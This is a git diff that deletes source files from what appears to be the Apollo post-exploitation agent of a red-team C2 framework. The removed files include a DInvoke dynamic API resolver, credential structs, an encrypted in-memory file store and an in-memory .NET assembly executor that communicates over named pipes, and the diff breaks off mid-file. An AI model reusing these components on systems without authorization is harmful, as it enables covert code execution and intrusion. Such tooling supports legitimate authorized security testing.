STANDARD_RIGHTS_WRITE = 0x00020000, - STANDARD_RIGHTS_EXECUTE = 0x00020000, - STANDARD_RIGHTS_ALL = 0x001F0000, - SPECIFIC_RIGHTS_ALL = 0x0000FFF, - ACCESS_SYSTEM_SECURITY = 0x01000000, - MAXIMUM_ALLOWED = 0x02000000, - GENERIC_READ = 0x80000000, - GENERIC_WRITE = 0x40000000, - GENERIC_EXECUTE = 0x20000000, - GENERIC_ALL = 0x10000000, - DESKTOP_READOBJECTS = 0x00000001, - DESKTOP_CREATEWINDOW = 0x00000002, - DESKTOP_CREATEMENU = 0x00000004, - DESKTOP_HOOKCONTROL = 0x00000008, - DESKTOP_JOURNALRECORD = 0x00000010, - DESKTOP_JOURNALPLAYBACK = 0x00000020, - DESKTOP_ENUMERATE = 0x00000040, - DESKTOP_WRITEOBJECTS = 0x00000080, - DESKTOP_SWITCHDESKTOP = 0x00000100, - WINSTA_ENUMDESKTOPS = 0x00000001, - WINSTA_READATTRIBUTES = 0x00000002, - WINSTA_ACCESSCLIPBOARD = 0x00000004, - WINSTA_CREATEDESKTOP = 0x00000008, - WINSTA_WRITEATTRIBUTES = 0x00000010, - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - WINSTA_EXITWINDOWS = 0x00000040, - WINSTA_ENUMERATE = 0x00000100, - WINSTA_READSCREEN = 0x00000200, - WINSTA_ALL_ACCESS = 0x0000037F, - - SECTION_ALL_ACCESS = 0x10000000, - SECTION_QUERY = 0x0001, - SECTION_MAP_WRITE = 0x0002, - SECTION_MAP_READ = 0x0004, - SECTION_MAP_EXECUTE = 0x0008, - SECTION_EXTEND_SIZE = 0x0010 - }; - } - - public class ProcessThreadsAPI - { - [Flags] - internal enum STARTF : uint - { - STARTF_USESHOWWINDOW = 0x00000001, - STARTF_USESIZE = 0x00000002, - STARTF_USEPOSITION = 0x00000004, - STARTF_USECOUNTCHARS = 0x00000008, - STARTF_USEFILLATTRIBUTE = 0x00000010, - STARTF_RUNFULLSCREEN = 0x00000020, - STARTF_FORCEONFEEDBACK = 0x00000040, - STARTF_FORCEOFFFEEDBACK = 0x00000080, - STARTF_USESTDHANDLES = 0x00000100, - } - - // https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFO - { - public UInt32 cb; - public String lpReserved; - public String lpDesktop; - public String lpTitle; - public UInt32 dwX; - public UInt32 dwY; - public UInt32 dwXSize; - public UInt32 dwYSize; - public UInt32 dwXCountChars; - public UInt32 dwYCountChars; - public UInt32 dwFillAttribute; - public UInt32 dwFlags; - public UInt16 wShowWindow; - public UInt16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFOEX - { - _STARTUPINFO StartupInfo; - // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public UInt32 dwProcessId; - public UInt32 dwThreadId; - }; - } - - public class WinCred - { -#pragma warning disable 0618 - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct _CREDENTIAL - { - public CRED_FLAGS Flags; - public UInt32 Type; - public IntPtr TargetName; - public IntPtr Comment; - public FILETIME LastWritten; - public UInt32 CredentialBlobSize; - public UInt32 Persist; - public UInt32 AttributeCount; - public IntPtr Attributes; - public IntPtr TargetAlias; - public IntPtr UserName; - } -#pragma warning restore 0618 - - public enum CRED_FLAGS : uint - { - NONE = 0x0, - PROMPT_NOW = 0x2, - USERNAME_TARGET = 0x4 - } - - public enum CRED_PERSIST : uint - { - Session = 1, - LocalMachine, - Enterprise - } - - public enum CRED_TYPE : uint - { - Generic = 1, - DomainPassword, - DomainCertificate, - DomainVisiblePassword, - GenericCertificate, - DomainExtended, - Maximum, - MaximumEx = Maximum + 1000, - } - } - - public class Secur32 - { - public struct _SECURITY_LOGON_SESSION_DATA - { - public UInt32 Size; - public WinNT._LUID LoginID; - public _LSA_UNICODE_STRING Username; - public _LSA_UNICODE_STRING LoginDomain; - public _LSA_UNICODE_STRING AuthenticationPackage; - public UInt32 LogonType; - public UInt32 Session; - public IntPtr pSid; - public UInt64 LoginTime; - public _LSA_UNICODE_STRING LogonServer; - public _LSA_UNICODE_STRING DnsDomainName; - public _LSA_UNICODE_STRING Upn; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LSA_UNICODE_STRING - { - public UInt16 Length; - public UInt16 MaximumLength; - public IntPtr Buffer; - } - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedUtilities/Utilities.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedUtilities/Utilities.cs deleted file mode 100644 index 80e7f16f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedUtilities/Utilities.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System.Security.Cryptography.X509Certificates; - -namespace DInvokeResolver.DInvoke.Utilities -{ - class Utilities - { - /// - /// Checks that a file is signed and has a valid signature. - /// - /// Path of file to check. - /// - public static bool FileHasValidSignature(string FilePath) - { - X509Certificate2 FileCertificate; - try - { - X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath); - FileCertificate = new X509Certificate2(signer); - } - catch - { - return false; - } - - X509Chain CertificateChain = new X509Chain(); - CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain; - CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; - CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag; - - return CertificateChain.Build(FileCertificate); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvokeResolver.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvokeResolver.cs deleted file mode 100644 index c44ede80..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvokeResolver.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; - -namespace DInvokeResolver -{ - public class DInvokeResolver : IWin32ApiResolver - { - public T GetLibraryFunction(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - IntPtr fn = DInvoke.DynamicInvoke.Generic.GetLibraryAddress(library.ToString(), functionName, canLoadFromDisk, resolveForwards); - return (T)Marshal.GetDelegateForFunctionPointer(fn, typeof(T)); - } - - public T GetLibraryFunction(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - IntPtr fn = DInvoke.DynamicInvoke.Generic.GetLibraryAddress(library.ToString(), ordinal, canLoadFromDisk, resolveForwards); - return (T)Marshal.GetDelegateForFunctionPointer(fn, typeof(T)); - } - - public T GetLibraryFunction(Library library, string functionHash, long key, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - IntPtr fn = DInvoke.DynamicInvoke.Generic.GetLibraryAddress(library.ToString(), functionHash, key, canLoadFromDisk, resolveForwards); - return (T)Marshal.GetDelegateForFunctionPointer(fn, typeof(T)); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvokeResolver.csproj b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvokeResolver.csproj deleted file mode 100644 index a6e12a2a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvokeResolver.csproj +++ /dev/null @@ -1,15 +0,0 @@ - - - net451 - Library - 12 - false - AnyCPU;x64;x86 - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/Properties/AssemblyInfo.cs deleted file mode 100644 index 4df7cc85..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("DInvokeResolver")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("DInvokeResolver")] -[assembly: AssemblyCopyright("Copyright © 2022")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/packages.config b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/EKECryptography/EKECryptography.csproj b/Payload_Type/apollo/apollo/agent_code/EKECryptography/EKECryptography.csproj deleted file mode 100644 index e13c8a07..00000000 --- a/Payload_Type/apollo/apollo/agent_code/EKECryptography/EKECryptography.csproj +++ /dev/null @@ -1,57 +0,0 @@ - - - - - Debug - AnyCPU - {F9B7C531-B6B0-4EEB-84EA-B650A38A325E} - Library - Properties - EKECryptography - EKECryptography - v4.0 - 512 - true - - - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - {5b5bd587-7dca-4306-b1c3-83a70d755f37} - ApolloInterop - - - {c8fc8d87-30db-4fc5-880a-9cd7d156127a} - PSKCryptography - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/EKECryptography/EKECryptographyProvider.cs b/Payload_Type/apollo/apollo/agent_code/EKECryptography/EKECryptographyProvider.cs deleted file mode 100644 index 28ff3d79..00000000 --- a/Payload_Type/apollo/apollo/agent_code/EKECryptography/EKECryptographyProvider.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using PSKCryptography; - -namespace EKECryptography -{ - public class EKECryptographyProvider : PSKCryptographyProvider - { - public EKECryptographyProvider(string uuid, string psk) : base(uuid, psk) - { - - } - - public override bool UpdateKey(string key) - { - this.PSK = Convert.FromBase64String(key); - return true; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/EKECryptography/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/EKECryptography/Properties/AssemblyInfo.cs deleted file mode 100644 index 552a1a92..00000000 --- a/Payload_Type/apollo/apollo/agent_code/EKECryptography/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("EKECryptography")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("EKECryptography")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("f9b7c531-b6b0-4eeb-84ea-b650a38a325e")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/EncryptedFileStore.cs b/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/EncryptedFileStore.cs deleted file mode 100644 index 9b676054..00000000 --- a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/EncryptedFileStore.cs +++ /dev/null @@ -1,85 +0,0 @@ -using ApolloInterop.Interfaces; -using System.Collections.Concurrent; -using System.Text; - -namespace EncryptedFileStore -{ - public class EncryptedFileStore : IEncryptedFileStore - { - protected byte[] CurrentScript = new byte[0]; - protected readonly ConcurrentDictionary FileStore = new ConcurrentDictionary(); - private readonly ICryptographicRoutine[] _providers; - public EncryptedFileStore(ICryptographicRoutine[] providers) - { - _providers = providers; - } - - private byte[] EncryptData(byte[] data) - { - byte[] cipherText = data; - - for(int i = 0; i < _providers.Length; i++) - { - cipherText = _providers[i].Encrypt(cipherText); - } - return cipherText; - } - - private byte[] DecryptData(byte[] data) - { - byte[] plainText = data; - for(int i = _providers.Length - 1; i >= 0; i--) - { - plainText = _providers[i].Decrypt(plainText); - } - return plainText; - } - - public string GetScript() - { - if (CurrentScript.Length == 0) - { - return ""; - } - return Encoding.UTF8.GetString(DecryptData(CurrentScript)); - } - - public void SetScript(string script) - { - SetScript(Encoding.UTF8.GetBytes(script)); - } - - public void SetScript(byte[] script) - { - CurrentScript = EncryptData(script); - } - - public bool TryAddOrUpdate(string keyName, byte[] data) - { - byte[] encData = EncryptData(data); - if (FileStore.TryAdd(keyName, encData)) - { - return true; - } - else - { - if (!FileStore.TryGetValue(keyName, out byte[] compData)) - { - return false; - } - return FileStore.TryUpdate(keyName, encData, compData); - } - } - - public bool TryGetValue(string keyName, out byte[] data) - { - if (FileStore.TryGetValue(keyName, out data)) - { - data = DecryptData(data); - return true; - } - - return false; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/EncryptedFileStore.csproj b/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/EncryptedFileStore.csproj deleted file mode 100644 index 0c1fe384..00000000 --- a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/EncryptedFileStore.csproj +++ /dev/null @@ -1,23 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/Properties/AssemblyInfo.cs deleted file mode 100644 index 4e88cb0c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("EncryptedFileStore")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("EncryptedFileStore")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("21b9b3fa-acbf-4ed2-a0bb-2782e708f6f9")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/packages.config b/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/EncryptedFileStore/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/ExecuteAssembly.csproj b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/ExecuteAssembly.csproj deleted file mode 100644 index 9be1e594..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/ExecuteAssembly.csproj +++ /dev/null @@ -1,19 +0,0 @@ - - - net451 - Exe - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/FodyWeavers.xml b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/FodyWeavers.xml deleted file mode 100644 index 286d191a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/FodyWeavers.xsd b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/FodyWeavers.xsd deleted file mode 100644 index 05e92c11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/FodyWeavers.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Program.cs b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Program.cs deleted file mode 100644 index 44c286d9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Program.cs +++ /dev/null @@ -1,239 +0,0 @@ -using ApolloInterop.Classes; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Classes.IO; -using ApolloInterop.Constants; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Interfaces; -using ApolloInterop.Serializers; -using ApolloInterop.Structs.ApolloStructs; -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.ComponentModel; -using System.IO; -using System.IO.Pipes; -using System.Linq; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using ST = System.Threading.Tasks; - -namespace ExecuteAssembly -{ - class Program - { - - [DllImport("shell32.dll", SetLastError = true)] - static extern IntPtr CommandLineToArgvW( - [MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, - out int pNumArgs); - - [DllImport("kernel32.dll")] - static extern IntPtr LocalFree(IntPtr hMem); - - private static JsonSerializer _jsonSerializer = new JsonSerializer(); - private static string? _namedPipeName; - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static ConcurrentQueue _recieverQueue = new ConcurrentQueue(); - private static AsyncNamedPipeServer? _server; - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private static ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - private static CancellationTokenSource _cts = new CancellationTokenSource(); - private static Action? _sendAction; - private static ST.Task? _clientConnectedTask; - - public static void Main(string[] args) - { - //_namedPipeName = "executetest"; - if (args.Length != 1) - { - throw new Exception("No named pipe name given."); - } - _namedPipeName = args[0]; - - _sendAction = (object p) => - { - PipeStream pipe = (PipeStream)p; - - while (pipe.IsConnected && !_cts.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] { - _senderEvent, - _cts.Token.WaitHandle - }); - while (_senderQueue.TryDequeue(out byte[] result)) - { - pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe); - } - } - - while (_senderQueue.TryDequeue(out byte[] message)) - { - pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); - } - - // Wait for all messages to be read by Apollo - pipe.WaitForPipeDrain(); - pipe.Close(); - }; - - _server = new AsyncNamedPipeServer(_namedPipeName, instances: 1, BUF_OUT: IPC.SEND_SIZE, BUF_IN: IPC.RECV_SIZE); - _server.ConnectionEstablished += OnAsyncConnect; - _server.MessageReceived += OnAsyncMessageReceived; - _receiverEvent.WaitOne(); - if (_recieverQueue.TryDequeue(out IMythicMessage asmArgs)) - { - if (asmArgs.GetTypeCode() != MessageType.IPCCommandArguments) - { - throw new Exception($"Got invalid message type. Wanted {MessageType.IPCCommandArguments}, got {asmArgs.GetTypeCode()}"); - } - TextWriter originalStdout = Console.Out; - TextWriter originalStderr = Console.Error; - - IPCCommandArguments command = (IPCCommandArguments)asmArgs; - EventableStringWriter stdoutSw = new EventableStringWriter(); - EventableStringWriter stderrSw = new EventableStringWriter(); - - stdoutSw.BufferWritten += OnBufferWrite; - stderrSw.BufferWritten += OnBufferWrite; - - Console.SetOut(stdoutSw); - Console.SetError(stderrSw); - - try - { - Assembly asm = Assembly.Load(command.ByteData); - var costuraLoader = asm.GetType("Costura.AssemblyLoader", false); - if (costuraLoader != null) - { - var costuraLoaderMethod = costuraLoader.GetMethod("Attach", BindingFlags.Public | BindingFlags.Static); - costuraLoaderMethod.Invoke(null, new object[] { }); - } - - asm.EntryPoint.Invoke(null, new object[] { ParseCommandLine(command.StringData) }); - } - catch (TargetInvocationException ex) - { - Exception inner = ex.InnerException; - Console.WriteLine($"\nUnhandled Exception: {inner}"); - } - catch (Exception ex) - { - Console.WriteLine($"Unhandled exception from assembly loader: {ex.Message}"); - } - finally - { - Console.SetOut(originalStdout); - Console.SetError(originalStderr); - } - } - - _cts.Cancel(); - - // Wait for the pipe client comms to finish - while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted) - { - task.Wait(1000); - } - } - - private static string[] ParseCommandLine(string cmdline) - { - int numberOfArgs; - IntPtr ptrToSplitArgs; - string[] splitArgs; - - ptrToSplitArgs = CommandLineToArgvW(cmdline, out numberOfArgs); - - // CommandLineToArgvW returns NULL upon failure. - if (ptrToSplitArgs == IntPtr.Zero) - throw new ArgumentException("Unable to split argument.", new Win32Exception()); - - // Make sure the memory ptrToSplitArgs to is freed, even upon failure. - try - { - splitArgs = new string[numberOfArgs]; - - // ptrToSplitArgs is an array of pointers to null terminated Unicode strings. - // Copy each of these strings into our split argument array. - for (int i = 0; i < numberOfArgs; i++) - splitArgs[i] = Marshal.PtrToStringUni( - Marshal.ReadIntPtr(ptrToSplitArgs, i * IntPtr.Size)); - - return splitArgs; - } - finally - { - // Free memory obtained by CommandLineToArgW. - LocalFree(ptrToSplitArgs); - } - } - - private static void OnBufferWrite(object sender, StringDataEventArgs args) - { - if (args.Data != null) - { - try - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(args.Data)); - _senderEvent.Set(); - } - catch { } - - } - } - - private static void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - pipe.EndWrite(result); - pipe.Flush(); - } - - private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - IPCChunkedData chunkedData = _jsonSerializer.Deserialize( - Encoding.UTF8.GetString(args.Data.Data.Take(args.Data.DataLength).ToArray())); - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - } - - private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for (int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); - //Console.WriteLine("We got a message: {0}", mt.ToString()); - _recieverQueue.Enqueue(msg); - _receiverEvent.Set(); - } - - public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args) - { - // We only accept one connection at a time, sorry. - if (_clientConnectedTask != null) - { - args.Pipe.Close(); - return; - } - _clientConnectedTask = new ST.Task(_sendAction, args.Pipe); - _clientConnectedTask.Start(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Properties/AssemblyInfo.cs deleted file mode 100644 index dba7bbcb..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("ExecuteAssembly")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ExecuteAssembly")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("8806cd1d-aa64-4e9f-91c7-b579765549b0")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/packages.config b/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecuteAssembly/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE.Standalone/ExecutePE.Standalone.csproj b/Payload_Type/apollo/apollo/agent_code/ExecutePE.Standalone/ExecutePE.Standalone.csproj deleted file mode 100644 index 7a75f935..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE.Standalone/ExecutePE.Standalone.csproj +++ /dev/null @@ -1,16 +0,0 @@ - - - net451 - Exe - 12 - enable - false - true - AnyCPU;x64;x86 - - - - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE.Standalone/Program.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE.Standalone/Program.cs deleted file mode 100644 index 7c67c91f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE.Standalone/Program.cs +++ /dev/null @@ -1,100 +0,0 @@ -using System; -using System.IO; -using System.Runtime.Remoting.Messaging; -using System.Threading; -using ApolloInterop.Structs.ApolloStructs; -using static ExecutePE.PERunner; - -namespace ExecutePE.Standalone; - -internal static class Program -{ - private static int Main(string[] args) - { - if (args.Length < 1) - { - Console.WriteLine($"Executable not specified"); - return -1; - } - - var executablePath = args[0]; - Console.WriteLine($"Executable: {executablePath}"); - - var executable = File.ReadAllBytes(executablePath); - 